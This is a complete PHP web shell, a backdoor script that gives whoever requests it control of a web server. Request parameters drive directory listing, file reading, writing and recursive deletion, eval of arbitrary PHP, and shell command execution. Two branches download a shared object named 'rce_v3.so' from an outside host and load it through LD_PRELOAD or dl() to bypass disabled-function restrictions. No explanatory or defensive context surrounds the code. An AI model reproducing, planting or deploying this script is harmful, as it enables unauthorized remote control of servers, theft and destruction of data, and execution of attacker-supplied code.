<?php
error_reporting(0);
$a=$_GET;$p=$_POST;
echo "<pre>\n=== /tmp/shell ===\n";
echo "uname:".php_uname()." | df:".ini_get("disable_functions")." | uid:".getmyuid()."\n---\n";

if(isset($a["ls"])){$d=$a["ls"];if($d=="")$d=".";foreach(scandir($d) as $f)echo"$f\n";}
if(isset($a["r"])){echo is_readable($a["r"])?htmlspecialchars(file_get_contents($a["r"])):"NO_READ\n";}
if(isset($a["d"])){if(is_dir($a["d"]))rrm($a["d"]);else unlink($a["d"]);echo"DEL:{$a["d"]}\n";}
if(isset($p["w"])){file_put_contents($p["w"],$p["c"]);echo"WRITE:{$p["w"]}\n";}
if(isset($a["e"])){echo"EVAL:\n";eval($a["e"]);echo"\n";}
if(isset($a["ld"])){$s=file_get_contents("http://tstefan.brinkster.net/rce_v3.so");file_put_contents("/tmp/ld.so",$s);putenv("LD_PRELOAD=/tmp/ld.so");$m=mail("x","x","x");echo"LD:ld.so=".filesize("/tmp/ld.so")."b mail=".($m?"OK":"FAIL")." minit=".(file_exists("/tmp/MINIT_RAN.txt")?"Y":"N")."\n";}
if(isset($a["dl"])){$s=file_get_contents("http://tstefan.brinkster.net/rce_v3.so");file_put_contents("/tmp/dl2.so",$s);ini_set("extension_dir","/tmp");$r=@dl("dl2.so");echo"DL:".($r?"OK":"FAIL")." minit=".(file_exists("/tmp/MINIT_RAN.txt")?"Y":"N")."\n";}
if(isset($a["cmd"])){echo"CMD:\n";$o=shell_exec($a["cmd"]);echo$o?:"empty\n";}
if(isset($a["x"])){echo"BACKTICK:\n";$o=`{$a["x"]} 2>&1`;echo$o?:"empty\n";}

function rrm($d){foreach(glob("$d/*") as $f)is_dir($f)?rrm($f):unlink($f);rmdir($d);}
echo "</pre>";